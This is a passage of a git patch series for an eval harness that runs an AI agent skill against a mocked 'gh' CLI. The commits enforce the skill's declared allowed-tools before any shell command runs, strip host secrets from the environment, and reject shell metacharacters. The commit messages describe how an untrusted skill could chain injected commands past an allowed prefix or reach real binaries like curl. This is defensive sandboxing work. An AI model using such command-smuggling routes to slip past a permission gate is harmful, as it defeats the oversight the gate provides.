"enhancement" not "bug" -> must be excluded by a +# correct `--label bug` filter; only appears if that filter was dropped. +# `issue list` only returns the correctly-filtered #214/#220 pair when the +# invocation actually asked for `--label ... bug` and `no:assignee` — a skill that +# dropped its own filtering logic gets back the noisier set instead, so acting on +# everything returned (rather than genuinely filtering) trips the forbidden-call +# checks for #300/#310. This is the behavioral check adilei's PR #53 feedback asked +# for: not just "did it call gh", but "did it act on the right issues and only the +# right issues, via a call that actually did the filtering it claims to". set -euo pipefail : "${MOCK_GH_LOG:?MOCK_GH_LOG must be set}" @@ -19,12 +28,26 @@ case "${1:-} ${2:-}" in echo "mock gh: usage: gh [flags]" ;; "issue list") - cat <<'JSON' + args="$*" + if [[ "$args" == *"bug"* && "$args" == *"no:assignee"* ]]; then + cat <<'JSON' [ - {"number":214,"title":"Login button unresponsive on Safari","labels":[{"name":"bug"}]}, - {"number":220,"title":"Crash when exporting a large report","labels":[{"name":"bug"},{"name":"needs-info"}]} + {"number":214,"title":"Login button unresponsive on Safari","labels":[{"name":"bug"}],"assignees":[]}, + {"number":220,"title":"Crash when exporting a large report","labels":[{"name":"bug"},{"name":"needs-info"}],"assignees":[]} ] JSON + else + # Filters missing/wrong: a real `gh` would return the broader result set, + # including issues a correct filter would have excluded. + cat <<'JSON' +[ + {"number":214,"title":"Login button unresponsive on Safari","labels":[{"name":"bug"}],"assignees":[]}, + {"number":220,"title":"Crash when exporting a large report","labels":[{"name":"bug"},{"name":"needs-info"}],"assignees":[]}, + {"number":300,"title":"Rate limiter occasionally double-counts","labels":[{"name":"bug"}],"assignees":[{"login":"carol"}]}, + {"number":310,"title":"Add dark mode toggle","labels":[{"name":"enhancement"}],"assignees":[]} +] +JSON + fi ;; "issue view") echo '{"number":214,"labels":[{"name":"bug"}]}' diff --git a/evals/skill-runtime/run.ts b/evals/skill-runtime/run.ts index 3b54741..dd8a43f 100644 --- a/evals/skill-runtime/run.ts +++ b/evals/skill-runtime/run.ts @@ -15,7 +15,7 @@ // --only=slug,slug run a subset of scenarios // --keep print the temp dirs (artifacts kept for inspection) -import { mkdtempSync, mkdirSync, readFileSync, writeFileSync, existsSync } from "node:fs"; +import { mkdtempSync, mkdirSync, readFileSync, writeFileSync, existsSync, rmSync } from "node:fs"; import os from "node:os"; import path from "node:path"; import { fileURLToPath } from "node:url"; @@ -91,6 +91,7 @@ async function main(): Promise { console.error(`\n▶ ${scenario.id} — ${scenario.title}`); const started = Date.now(); const res: Result = { id: scenario.id, title: scenario.title, ok: false, durationMs: 0 }; + const tempDirs: string[] = []; try { const fixturePath = path.join(FIXTURES_DIR, scenario.fixtureDir, "SKILL.md"); if (!existsSync(fixturePath)) { @@ -101,11 +102,13 @@ async function main(): Promise { const scratchDir = mkdtempSync(path.join(os.tmpdir(), "sr-runtime-scratch-")); const skillsRoot = mkdtempSync(path.join(os.tmpdir(), "sr-runtime-skills-")); + const logDir = mkdtempSync(path.join(os.tmpdir(), "sr-runtime-log-")); + tempDirs.push(scratchDir, skillsRoot, logDir); const skillDestDir = path.join(skillsRoot, skillName); mkdirSync(skillDestDir, { recursive: true }); writeFileSync(path.join(skillDestDir, "SKILL.md"), skillMd); - const mockGhLog = path.join(mkdtempSync(path.join(os.tmpdir(), "sr-runtime-log-")), "gh.log"); + const mockGhLog = path.join(logDir, "gh.log"); writeFileSync(mockGhLog, ""); const trace: BashInvocation[] = []; @@ -144,7 +147,7 @@ async function main(): Promise { } const ghLogLines = readFileSync(mockGhLog, "utf8").split("\n").filter(Boolean); - res.score = scoreRuntime(ghLogLines, trace, scenario.rubric); + res.score = scoreRuntime(ghLogLines, trace, scenario.rubric, skillMd); res.ok = res.score.pass; if (flags.keep) { console.error(` scratch: ${scratchDir}`); @@ -153,6 +156,12 @@ async function main(): Promise { } } catch (err) { res.error = err instanceof Error ? err.message : String(err); + } finally { + // Clean up unless --keep — otherwise every run (and every CI invocation) + // leaks 3 temp dirs into /tmp. + if (!flags.keep) { + for (const dir of tempDirs) rmSync(dir, { recursive: true, force: true }); + } } res.durationMs = Date.now() - started; results.push(res); diff --git a/evals/skill-runtime/scenarios.ts b/evals/skill-runtime/scenarios.ts index dba6d11..440b4e8 100644 --- a/evals/skill-runtime/scenarios.ts +++ b/evals/skill-runtime/scenarios.ts @@ -3,11 +3,14 @@ import type { SkillRuntimeScenario } from "./scenario"; /** * Runs the real, already-exported github-issue-triage-agent-skill fixture * (evals/skill-runtime/fixtures/github-issue-triage-agent-skill/SKILL.md) against a - * fresh Copilot session whose only tool is a mocked shell. The mock `gh` returns two - * issues: #214 (unassigned bug, not yet triaged) and #220 (unassigned bug, already - * labeled needs-info). A correct run comments + labels #214 and leaves #220 alone — - * this is the behavioral check PR #53's feedback asked for (does the skill achieve - * the right task outcome), not just "did the plan mention gh". + * fresh Copilot session whose only tool is a mocked shell. The mock `gh`'s `issue + * list` only returns the clean #214/#220 pair when the invocation actually filtered + * by `--label bug` + `no:assignee`; a skill that dropped that filtering gets back a + * noisier set including #300 (already assigned) and #310 (wrong label) instead. A + * correct run comments + labels #214 ONLY, leaving #220/#300/#310 untouched — this + * is the behavioral check PR #53's feedback asked for (does the skill achieve the + * right task outcome via filtering it actually did), not just "did the plan mention + * gh" or "did gh get called at all". */ const githubIssueTriageRuntime: SkillRuntimeScenario = { id: "github-issue-triage-runtime", @@ -28,6 +31,10 @@ const githubIssueTriageRuntime: SkillRuntimeScenario = { forbiddenGhCalls: [ ["issue", "comment", "220"], ["issue", "edit", "220"], + ["issue", "comment", "300"], + ["issue", "edit", "300"], + ["issue", "comment", "310"], + ["issue", "edit", "310"], ], forbiddenInCommands: ["workiq", "m365_", "playwright", "browser_"], }, diff --git a/evals/skill-runtime/score.ts b/evals/skill-runtime/score.ts index faaf99d..4b1cb28 100644 --- a/evals/skill-runtime/score.ts +++ b/evals/skill-runtime/score.ts @@ -16,19 +16,72 @@ export interface RuntimeScoreResult { checks: RuntimeCheck[]; } -/** True when every substring in `group` appears on the same log line. */ +/** + * True when every entry in `group` appears as an EXACT argv token on the same log + * line — not a raw substring. Substring matching would let a call touching issue + * `2140` or `1214` wrongly satisfy a check written for `214` (and symmetrically + * false-fail a `forbiddenGhCalls` check for `220` against a line containing `1220`), + * which defeats the exact thing this eval verifies: that the skill acted on the + * right issue and only the right issue. + */ function lineMatchesAll(line: string, group: string[]): boolean { - return group.every((s) => line.includes(s)); + const tokens = line.split(/\s+/).filter(Boolean); + return group.every((needle) => tokens.includes(needle)); } function anyLineMatchesAll(lines: string[], group: string[]): boolean { return lines.some((line) => lineMatchesAll(line, group)); } +/** Parse `allowed-tools` `Bash( *)` frontmatter entries into plain command + * prefixes, e.g. `"Bash(gh issue list *)"` -> `"gh issue list"`. Non-Bash entries + * (`Read`, `Write`, ...) are ignored — this harness only exercises the shell. */ +function parseAllowedBashPrefixes(skillMd: string): string[] { + const prefixes: string[] = []; + const re = /Bash\(([^)]*?)\s*\*\)/g; + for (const match of skillMd.matchAll(re)) prefixes.push(match[1].trim()); + return prefixes; +} + +/** `gh` subcommand verbs that mutate GitHub state. A benign read-only sanity check + * (e.g. `gh repo view` before triaging) isn't the regression this check exists to + * catch, and gating on it would make the suite flaky on harmless model variance — + * same read-vs-mutating distinction the project's own catalogues already draw + * ("Read tools are auto-approved; send/create/update/delete need approval"). */ +const MUTATING_GH_VERBS = ["comment", "edit", "create", "close", "reopen", "delete", "merge", "assign", "label"]; + +function isMutatingGhCommand(command: string): boolean { + const tokens = command.trim().split(/\s+/); + return tokens[0] === "gh" && MUTATING_GH_VERBS.includes(tokens[2] ?? ""); +} + +/** Every MUTATING Bash command the session ran must match at least one + * `allowed-tools` prefix declared in the fixture's own frontmatter — catches a + * regression where the runtime (or a future skill revision) reaches for a + * side-effecting command outside what the skill actually declared it needs. */ +function checkAllowedTools(bashTrace: BashInvocation[], skillMd: string): RuntimeCheck { + const prefixes = parseAllowedBashPrefixes(skillMd); + if (prefixes.length === 0) { + return { name: "every mutating Bash command matches a declared allowed-tools prefix", pass: true }; + } + const violations = bashTrace + .map((b) => b.command.trim()) + .filter((cmd) => isMutatingGhCommand(cmd)) + .filter((cmd) => !prefixes.some((p) => cmd.startsWith(p))); + return { + name: "every mutating Bash command matches a declared allowed-tools prefix", + pass: violations.length === 0, + detail: violations.length + ? `commands outside allowed-tools (${prefixes.join(", ")}): ${violations.join(" ; ")}` + : undefined, + }; +} + export function scoreRuntime( ghLogLines: string[], bashTrace: BashInvocation[], rubric: RuntimeRubric, + skillMd: string, ): RuntimeScoreResult { const checks: RuntimeCheck[] = []; @@ -50,6 +103,13 @@ export function scoreRuntime( }); } + // Substring (not token-exact) is intentional here, unlike the gh-log checks above: + // these look for a vendor-specific tool NAME that may appear as a prefix of a + // longer identifier (e.g. "workiq_search_chats" contains "workiq" with no + // whitespace separating them), so exact-token matching would miss it. The + // trade-off is the same one evals/skillbuilder/score.ts already accepts for its + // own `forbidden` list — a rare false positive on an unrelated identifier is a + // cheap cost next to silently missing real vendor lock-in. const commandText = bashTrace.map((b) => b.command).join("\n").toLowerCase(); for (const bad of rubric.forbiddenInCommands) { const hit = commandText.includes(bad.toLowerCase()); @@ -60,6 +120,8 @@ export function scoreRuntime( }); } + checks.push(checkAllowedTools(bashTrace, skillMd)); + checks.push({ name: "the Bash tool was invoked at least once", pass: bashTrace.length > 0, From 91df18b6e2eee333a072fb8476234e866af11e8c Mon Sep 17 00:00:00 2001 From: karimad <19360713+karimad@users.noreply.github.com> Date: Mon, 24 Aug 2026 13:25:34 +0200 Subject: [PATCH 3/6] Address security review: enforce allowed-tools, minimal env, fix mock gaps MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Security (real gap, not just hardening): - bash-tool.ts previously spread the full process.env into the child shell and only prepended a mock bin dir to PATH, leaving the real PATH appended after it. excludedTools/enableHostGitOperations only restrict Copilot's built-in tools, not this custom one — an untrusted or off-spec SKILL.md could reach a real binary (curl, real gh, ...) with real env vars and real network access. - Fixed by making the custom Bash tool actually ENFORCE the fixture's own declared allowed-tools before executing anything, not just audit after the fact: a command that doesn't match a declared Bash(...) pattern is refused (exitCode 126) before /bin/sh ever runs, recorded separately in deniedTrace (visible under --keep) so a refusal is never confused with a scoring violation. This closes the companion scoring gap too — a real side effect via a non-gh command was previously invisible to the rubric; now it can't happen at all, because it can't execute. - Also stopped spreading process.env into the child process entirely (no inherited host secrets/tokens even if enforcement were ever bypassed by a future change) and narrowed PATH to the mock dir + /usr/bin:/bin only. - New evals/skill-runtime/allowed-tools.ts: shared parser/matcher used by both the enforcement layer (bash-tool.ts) and the redundant post-hoc safety-net check (score.ts), so they can't drift apart. Also fixes a real parsing gap: the old regex only matched entries ending in a literal `*)`; an entry like `Bash(gh issue view)` with no trailing wildcard was silently dropped from enforcement with no warning. Now parsed as an exact-match pattern instead. Correctness: - run.ts: tempDirs.push(...) previously ran only after all three mkdtempSync calls succeeded — if the 2nd or 3rd threw, the earlier-created dirs were never registered for cleanup and leaked. Now each dir is pushed immediately after its own creation. - mocks/gh: `issue view` always echoed hardcoded issue #214 regardless of the actual issue number requested ($3). Fixed to return the correct mock issue's data per number (214/220/300/310), or a "not found" error for anything else. Verified: 3/3 consecutive full-suite passes with enforcement active. Directly tested the Bash tool's enforcement in isolation: a curl attempt outside the declared allowed-tools is refused before /bin/sh ever runs (stays in deniedTrace, never touches trace or the network); a declared gh command still proceeds to execution normally. --- evals/skill-runtime/allowed-tools.ts | 39 ++++++++++++++++++++ evals/skill-runtime/bash-tool.ts | 55 ++++++++++++++++++++++------ evals/skill-runtime/mocks/gh | 14 ++++++- evals/skill-runtime/run.ts | 12 +++++- evals/skill-runtime/score.ts | 42 +++++++++------------ 5 files changed, 123 insertions(+), 39 deletions(-) create mode 100644 evals/skill-runtime/allowed-tools.ts diff --git a/evals/skill-runtime/allowed-tools.ts b/evals/skill-runtime/allowed-tools.ts new file mode 100644 index 0000000..138acc1 --- /dev/null +++ b/evals/skill-runtime/allowed-tools.ts @@ -0,0 +1,39 @@ +// Shared allowed-tools pattern parsing for the skill-runtime harness. Used by both +// bash-tool.ts (real enforcement — reject before executing) and score.ts (a +// redundant post-hoc safety net, in case enforcement code and scoring code ever +// drift apart). Single source of parsing logic so both agree on what "allowed" +// means. + +export interface BashPattern { + /** The literal command text to match against. */ + text: string; + /** True when `text` must match the WHOLE command; false when it's a prefix + * (declared with a trailing `*` in the frontmatter, e.g. `Bash(gh issue list *)`). */ + exact: boolean; +} + +/** + * Parse every `Bash(...)` entry out of a SKILL.md's `allowed-tools` frontmatter. + * Handles both prefix patterns (`Bash(gh issue list *)`) and exact patterns with no + * trailing wildcard (`Bash(gh issue view)`) — a naive regex that only matches + * entries ending in `*)` silently drops the latter with no warning, which is worse + * than treating them as (correctly) exact. + */ +export function parseAllowedBashPatterns(skillMd: string): BashPattern[] { + const patterns: BashPattern[] = []; + const re = /Bash\(([^)]*)\)/g; + for (const match of skillMd.matchAll(re)) { + const raw = match[1].trim(); + if (raw.endsWith("*")) { + patterns.push({ text: raw.slice(0, -1).trim(), exact: false }); + } else { + patterns.push({ text: raw, exact: true }); + } + } + return patterns; +} + +export function commandMatchesAny(command: string, patterns: BashPattern[]): boolean { + const trimmed = command.trim(); + return patterns.some((p) => (p.exact ? trimmed === p.text : trimmed.startsWith(p.text))); +} diff --git a/evals/skill-runtime/bash-tool.ts b/evals/skill-runtime/bash-tool.ts index d780cb2..7127123 100644 --- a/evals/skill-runtime/bash-tool.ts +++ b/evals/skill-runtime/bash-tool.ts @@ -1,11 +1,18 @@ -// The one capability a runtime-conformance session gets: a real shell, scoped to a -// mocked PATH so the skill's `gh`/`curl`/etc. calls hit fixtures instead of the -// network. Modeled on electron/builders/read-tools.ts (custom Tool, not a built-in), -// so every invocation is captured for scoring without parsing session-event internals. +// The one capability a runtime-conformance session gets: a real shell, enforced +// against the fixture's OWN declared allowed-tools (not just a mocked PATH) — a +// command that doesn't match a declared pattern is refused before it ever runs, so +// an untrusted or off-spec SKILL.md can't reach a real binary (curl, real gh, ...) +// with real environment/network access. PATH is deliberately minimal too: no +// inherited process.env, so no leaked host secrets/tokens even if enforcement were +// ever bypassed. Modeled on electron/builders/read-tools.ts (custom Tool, not a +// built-in), so every invocation is captured for scoring without parsing +// session-event internals. import { execFileSync } from "node:child_process"; import type { Tool } from "@github/copilot-sdk"; +import { commandMatchesAny, type BashPattern } from "./allowed-tools"; + export interface BashInvocation { command: string; stdout: string; @@ -20,13 +27,21 @@ export interface BashToolContext { cwd: string; /** Extra env vars the mocks read (e.g. MOCK_GH_LOG). */ env?: Record; - /** Every invocation is pushed here, in order, for scoring. */ + /** Commands outside this list are refused before executing. Empty means nothing + * is allowed to run — a deliberately fail-closed default for a security gate. */ + allowedPatterns: BashPattern[]; + /** Only commands that actually ran are pushed here, in order, for scoring. */ trace: BashInvocation[]; + /** Commands refused by the allowed-tools gate — never executed, kept separately + * so a refusal (the gate working correctly) is never mistaken for a scoring + * violation. Visible for debugging via --keep. */ + deniedTrace: BashInvocation[]; } -/** A single custom "Bash" tool: runs a shell command against a mocked PATH and - * records the call + its result. This is deliberately the ONLY tool the runtime - * session gets — the point is to prove the skill's own instructions are enough. */ +/** A single custom "Bash" tool: runs a shell command against a mocked, minimal + * environment and records the call + its result. This is deliberately the ONLY + * tool the runtime session gets — the point is to prove the skill's own + * instructions (and its own declared allowed-tools) are enough. */ export function createBashTool(ctx: BashToolContext): Tool { return { name: "Bash", @@ -39,10 +54,25 @@ export function createBashTool(ctx: BashToolContext): Tool { }, handler: (raw) => { const args = raw as { command: string }; + + if (!commandMatchesAny(args.command, ctx.allowedPatterns)) { + const denial: BashInvocation = { + command: args.command, + stdout: "", + stderr: "Permission denied: this command is outside the skill's declared allowed-tools.", + exitCode: 126, + }; + ctx.deniedTrace.push(denial); + return JSON.stringify(denial); + } + + // Deliberately NOT process.env — a real host secret/token must never be + // reachable from generated-skill shell commands, even as a fallback if the + // allowed-tools gate above were ever bypassed by a future change. const env = { - ...process.env, ...ctx.env, - PATH: `${ctx.mockBinDir}:${process.env.PATH ?? ""}`, + PATH: `${ctx.mockBinDir}:/usr/bin:/bin`, + HOME: ctx.cwd, }; let stdout = ""; let stderr = ""; @@ -60,8 +90,9 @@ export function createBashTool(ctx: BashToolContext): Tool { stderr = e.stderr ?? e.message; exitCode = e.status ?? 1; } - ctx.trace.push({ command: args.command, stdout, stderr, exitCode }); - return JSON.stringify({ stdout, stderr, exitCode }); + const invocation: BashInvocation = { command: args.command, stdout, stderr, exitCode }; + ctx.trace.push(invocation); + return JSON.stringify(invocation); }, }; } diff --git a/evals/skill-runtime/mocks/gh b/evals/skill-runtime/mocks/gh index 005ad0c..82d0ae9 100755 --- a/evals/skill-runtime/mocks/gh +++ b/evals/skill-runtime/mocks/gh @@ -50,7 +50,19 @@ JSON fi ;; "issue view") - echo '{"number":214,"labels":[{"name":"bug"}]}' + # Honor the actual requested issue number ($3) instead of always answering for + # #214 — a scenario that later queries a different issue individually must get + # that issue's real data, not silently wrong data for a different one. + case "${3:-}" in + 214) echo '{"number":214,"title":"Login button unresponsive on Safari","labels":[{"name":"bug"}],"assignees":[]}' ;; + 220) echo '{"number":220,"title":"Crash when exporting a large report","labels":[{"name":"bug"},{"name":"needs-info"}],"assignees":[]}' ;; + 300) echo '{"number":300,"title":"Rate limiter occasionally double-counts","labels":[{"name":"bug"}],"assignees":[{"login":"carol"}]}' ;; + 310) echo '{"number":310,"title":"Add dark mode toggle","labels":[{"name":"enhancement"}],"assignees":[]}' ;; + *) + echo "mock gh: issue #${3:-} not found" >&2 + exit 1 + ;; + esac ;; "issue comment") echo '{"ok":true}' diff --git a/evals/skill-runtime/run.ts b/evals/skill-runtime/run.ts index dd8a43f..eb7ac73 100644 --- a/evals/skill-runtime/run.ts +++ b/evals/skill-runtime/run.ts @@ -23,6 +23,7 @@ import { fileURLToPath } from "node:url"; import { approveAll, CopilotClient, ToolSet } from "@github/copilot-sdk"; import { copilotConnectionOption, withStartupTimeout } from "../../electron/copilot-cli-path"; +import { parseAllowedBashPatterns } from "./allowed-tools"; import { createBashTool, type BashInvocation } from "./bash-tool"; import { skillRuntimeScenarios } from "./scenarios"; import { scoreRuntime, type RuntimeScoreResult } from "./score"; @@ -100,10 +101,15 @@ async function main(): Promise { const skillMd = readFileSync(fixturePath, "utf8"); const skillName = readSkillName(skillMd); + // Pushed immediately after each mkdtempSync, not batched at the end — if a + // later call in this sequence throws, the dirs already created above must + // still be recorded for cleanup, or they leak under /tmp on that failure path. const scratchDir = mkdtempSync(path.join(os.tmpdir(), "sr-runtime-scratch-")); + tempDirs.push(scratchDir); const skillsRoot = mkdtempSync(path.join(os.tmpdir(), "sr-runtime-skills-")); + tempDirs.push(skillsRoot); const logDir = mkdtempSync(path.join(os.tmpdir(), "sr-runtime-log-")); - tempDirs.push(scratchDir, skillsRoot, logDir); + tempDirs.push(logDir); const skillDestDir = path.join(skillsRoot, skillName); mkdirSync(skillDestDir, { recursive: true }); writeFileSync(path.join(skillDestDir, "SKILL.md"), skillMd); @@ -112,11 +118,14 @@ async function main(): Promise { writeFileSync(mockGhLog, ""); const trace: BashInvocation[] = []; + const deniedTrace: BashInvocation[] = []; const bashTool = createBashTool({ mockBinDir: MOCKS_DIR, cwd: scratchDir, env: { MOCK_GH_LOG: mockGhLog }, + allowedPatterns: parseAllowedBashPatterns(skillMd), trace, + deniedTrace, }); const session = await client.createSession({ @@ -153,6 +162,7 @@ async function main(): Promise { console.error(` scratch: ${scratchDir}`); console.error(` skills: ${skillsRoot}`); console.error(` gh log: ${mockGhLog}`); + for (const d of deniedTrace) console.error(` denied: ${d.command}`); } } catch (err) { res.error = err instanceof Error ? err.message : String(err); diff --git a/evals/skill-runtime/score.ts b/evals/skill-runtime/score.ts index 4b1cb28..5101fda 100644 --- a/evals/skill-runtime/score.ts +++ b/evals/skill-runtime/score.ts @@ -1,6 +1,7 @@ // Deterministic scoring for the skill-runtime evals — checks the REAL mock-gh // invocation log and the runtime session's Bash tool trace, not plan text. +import { commandMatchesAny, parseAllowedBashPatterns } from "./allowed-tools"; import type { BashInvocation } from "./bash-tool"; import type { RuntimeRubric } from "./scenario"; @@ -33,21 +34,12 @@ function anyLineMatchesAll(lines: string[], group: string[]): boolean { return lines.some((line) => lineMatchesAll(line, group)); } -/** Parse `allowed-tools` `Bash( *)` frontmatter entries into plain command - * prefixes, e.g. `"Bash(gh issue list *)"` -> `"gh issue list"`. Non-Bash entries - * (`Read`, `Write`, ...) are ignored — this harness only exercises the shell. */ -function parseAllowedBashPrefixes(skillMd: string): string[] { - const prefixes: string[] = []; - const re = /Bash\(([^)]*?)\s*\*\)/g; - for (const match of skillMd.matchAll(re)) prefixes.push(match[1].trim()); - return prefixes; -} - -/** `gh` subcommand verbs that mutate GitHub state. A benign read-only sanity check - * (e.g. `gh repo view` before triaging) isn't the regression this check exists to - * catch, and gating on it would make the suite flaky on harmless model variance — - * same read-vs-mutating distinction the project's own catalogues already draw - * ("Read tools are auto-approved; send/create/update/delete need approval"). */ +/** `gh` subcommand verbs that mutate GitHub state — kept only to LABEL which + * violations are worth surfacing distinctly; enforcement itself (bash-tool.ts) + * already refuses to run ANY command outside allowed-tools before this scoring + * ever sees it, so `bashTrace` should never actually contain a violation here. + * This check is a redundant safety net in case enforcement and scoring logic + * ever drift apart, not the primary gate. */ const MUTATING_GH_VERBS = ["comment", "edit", "create", "close", "reopen", "delete", "merge", "assign", "label"]; function isMutatingGhCommand(command: string): boolean { @@ -55,24 +47,24 @@ function isMutatingGhCommand(command: string): boolean { return tokens[0] === "gh" && MUTATING_GH_VERBS.includes(tokens[2] ?? ""); } -/** Every MUTATING Bash command the session ran must match at least one - * `allowed-tools` prefix declared in the fixture's own frontmatter — catches a - * regression where the runtime (or a future skill revision) reaches for a - * side-effecting command outside what the skill actually declared it needs. */ +/** Redundant post-hoc check: every MUTATING Bash command that actually ran must + * match a declared `allowed-tools` pattern. Since bash-tool.ts enforces this + * before execution, a violation here means enforcement itself has a bug — this + * check exists to catch exactly that, not as the primary gate. */ function checkAllowedTools(bashTrace: BashInvocation[], skillMd: string): RuntimeCheck { - const prefixes = parseAllowedBashPrefixes(skillMd); - if (prefixes.length === 0) { - return { name: "every mutating Bash command matches a declared allowed-tools prefix", pass: true }; + const patterns = parseAllowedBashPatterns(skillMd); + if (patterns.length === 0) { + return { name: "every mutating Bash command matches a declared allowed-tools pattern", pass: true }; } const violations = bashTrace .map((b) => b.command.trim()) .filter((cmd) => isMutatingGhCommand(cmd)) - .filter((cmd) => !prefixes.some((p) => cmd.startsWith(p))); + .filter((cmd) => !commandMatchesAny(cmd, patterns)); return { - name: "every mutating Bash command matches a declared allowed-tools prefix", + name: "every mutating Bash command matches a declared allowed-tools pattern", pass: violations.length === 0, detail: violations.length - ? `commands outside allowed-tools (${prefixes.join(", ")}): ${violations.join(" ; ")}` + ? `commands outside allowed-tools (enforcement should have blocked these): ${violations.join(" ; ")}` : undefined, }; } From a8ad66b435f81c0e18ddca941d1662d143889ecb Mon Sep 17 00:00:00 2001 From: karimad <19360713+karimad@users.noreply.github.com> Date: Mon, 24 Aug 2026 14:04:25 +0200 Subject: [PATCH 4/6] Document evals/skill-runtime/ in evals/README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Follows the same per-suite section pattern already used for the builder, skillbuilder, and sensitive harnesses: what it guards and why, how a run works, the rubric, current coverage, and how to add a scenario. Fills a real gap — the suite existed with no doc explaining how someone else (or a future me) would add a new fixture/mock/scenario to it. --- evals/README.md | 93 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 93 insertions(+) diff --git a/evals/README.md b/evals/README.md index cedbbaa..b6ec355 100644 --- a/evals/README.md +++ b/evals/README.md @@ -284,6 +284,99 @@ read with **English-only** traineddata (the ASCII value is recognized and blurre even though the surrounding Japanese OCRs to garbage — validating the eng-only product decision). +## Skill runtime evals (`evals/skill-runtime/`) + +A different kind of guard than the three harnesses above: those score the +**builder's proposed plan** (tool mentions, structure) — none of them ever +generate → export → load → execute a real `SKILL.md` in a target runtime and +check the resulting behavior. This harness closes that gap. It exists because a +plan that *mentions* `gh` correctly doesn't prove the exported artifact actually +gets discovered and executed correctly — the builder could propose a perfect +plan and still ship a skill that a real runtime never loads, or that drifts from +its own declared procedure once it's an independent file on disk. + +```bash +npm run eval:skill-runtime # all runtime scenarios +npm run eval:skill-runtime -- --only=github-issue-triage-runtime +npm run eval:skill-runtime -- --keep # print temp dirs + denied Bash attempts +``` + +Uses only what's already required for the rest of this suite — a signed-in +Copilot CLI, the already-vendored `@github/copilot-sdk` — no new dependency, no +new credential. + +**How a run works.** Unlike the builder harnesses, this one does **not** +regenerate a skill per run: it ships a FIXED, already-built `SKILL.md` as a +static fixture (`fixtures//SKILL.md`, checked in), so a runtime-eval failure +points at the runtime, not at builder variance — the same "isolate the layer +under test" principle the rest of this suite already follows. For each scenario: + +1. Reads the fixture and its frontmatter `name:`. +2. Writes it into a temp `skillDirectories` root a **fresh** Copilot session + (separate from any builder session) is pointed at. +3. Gives the session exactly one tool — a custom `Bash`, scoped to a mocked + `PATH` (`mocks/`) — and sends the scenario's task prompt. +4. Scores the REAL resulting mock-CLI invocations against the rubric, not + anything the model merely said. + +**Fixtures are provenance-tracked, not hand-written.** `fixtures/regenerate.ts` +runs the real `SkillBuilder` against a fixed analysis and exports the result — +re-run it (and re-commit the output) only when the target catalogue changes +meaningfully; never hand-edit a fixture's `SKILL.md` directly, or it stops being +evidence that the builder pipeline actually produces this artifact. + +**Mocks are real executables, not stubs that always agree.** `mocks/gh` +(checked in, mirrors `evals/mocks/*.html` for a CLI instead of a web page) +actually simulates GitHub-side filtering: `issue list` only returns the clean, +intended result set when the invocation's flags actually ask for the right +filter — an invocation that dropped its own filtering gets back a noisier set +including issues a correct filter would have excluded. A skill that doesn't +genuinely filter, only appears to, fails visibly instead of passing by luck. + +**Security.** The custom `Bash` tool enforces the fixture's own declared +`allowed-tools` frontmatter *before* executing anything — a command outside the +declared patterns is refused (never reaches `/bin/sh`) rather than merely +flagged after the fact, and the child process never inherits the host's real +environment or `PATH`. This matters because the whole point of this harness is +running a generated artifact whose exact shell commands weren't authored by +you — treat it accordingly if you add a scenario that needs a broader mock +surface (`curl`, other CLIs): widen `mocks/`, never widen what the Bash tool +will execute unchecked. + +**Rubric** (`score.ts`): `mustCallGh` / `forbiddenGhCalls` groups match exact +argv tokens on the mock's invocation log (not raw substrings — a check for issue +`214` must not accidentally match `2140`); `forbiddenInCommands` is intentionally +substring-based, since it's hunting for a vendor-specific tool name that may +appear as a prefix of a longer identifier (`workiq_search_chats` contains +`workiq`); and a redundant post-hoc check confirms every *mutating* Bash command +that ran matches a declared `allowed-tools` pattern (redundant because the Bash +tool already enforces this — a violation here would mean enforcement itself has +a bug). Read-only reconnaissance (e.g. an occasional `gh repo view` before +triaging) is exempt from that last check on purpose: gating on it would fail the +suite on harmless model variance rather than a real regression. + +**Coverage.** One scenario today, `github-issue-triage-runtime`, executing the +`github-issue-triage-agent-skill` fixture (the `agent-skill`/generic-target +catalogue) against four mock issues: one the skill must act on, and three it +must correctly leave alone for three different reasons (already triaged, +already assigned, wrong label) — a broader behavioral bar than "did it call +`gh`". + +### Add a runtime scenario + +1. If you need a new fixture, add a fixed `AnalysisSubmission` to + `fixtures/regenerate.ts` (or a new regenerate script) and run it to produce a + real `fixtures//SKILL.md` — don't hand-write one. +2. If the skill needs a CLI this suite doesn't mock yet, add a real executable + under `mocks/` (see `mocks/gh` for the shape: log every invocation, branch on + the actual flags, return canned-but-realistic data). +3. Add a `SkillRuntimeScenario` to `scenarios.ts`: the fixture's directory name, + a task prompt, and a rubric. Prefer asserting exact behavior (which calls + must/must-not appear) over "some tool was called". +4. Run `npm run eval:skill-runtime -- --only= --keep` a few times + before committing — LLM runs have real variance, so confirm the rubric holds + up across repeats, not just once. + ## Mock pages (`evals/mocks/`) Static, self-contained HTML fixtures matching the scenarios (`pricing.html`, From 466c7f2dc2d9c6ddedb5f0f504a8fd85ce882b19 Mon Sep 17 00:00:00 2001 From: Karim Mehalebi Date: Tue, 25 Aug 2026 16:12:54 +0200 Subject: [PATCH 5/6] Fix allowed-tools prefix matching to reject shell-injection bypass commandMatchesAny() used a raw string prefix check on the full command, which was then passed unmodified to /bin/sh -c. An allowed prefix like `gh issue comment` could be used to smuggle a chained/injected command via shell metacharacters (&&, ;, |, $(), etc.), defeating the allowed-tools enforcement. Reject commands containing shell metacharacters and require prefix matches to land on a token boundary. Also adds unit test coverage, a configurable Bash timeout, and a clarifying comment on the unused "label" verb. --- evals/skill-runtime/allowed-tools.test.ts | 64 +++++++++++++++++++++++ evals/skill-runtime/allowed-tools.ts | 30 ++++++++++- evals/skill-runtime/bash-tool.ts | 4 +- evals/skill-runtime/score.ts | 3 ++ package.json | 2 +- 5 files changed, 100 insertions(+), 3 deletions(-) create mode 100644 evals/skill-runtime/allowed-tools.test.ts diff --git a/evals/skill-runtime/allowed-tools.test.ts b/evals/skill-runtime/allowed-tools.test.ts new file mode 100644 index 0000000..be96a8b --- /dev/null +++ b/evals/skill-runtime/allowed-tools.test.ts @@ -0,0 +1,64 @@ +import assert from "node:assert/strict"; +import test from "node:test"; + +import { commandMatchesAny, hasShellMetacharacters, parseAllowedBashPatterns } from "./allowed-tools"; + +const SKILL_MD = `--- +allowed-tools: + - Bash(gh issue list *) + - Bash(gh issue comment *) + - Bash(gh issue view) +--- +`; + +test("parseAllowedBashPatterns treats a trailing * as a prefix pattern", () => { + const patterns = parseAllowedBashPatterns(SKILL_MD); + assert.deepEqual( + 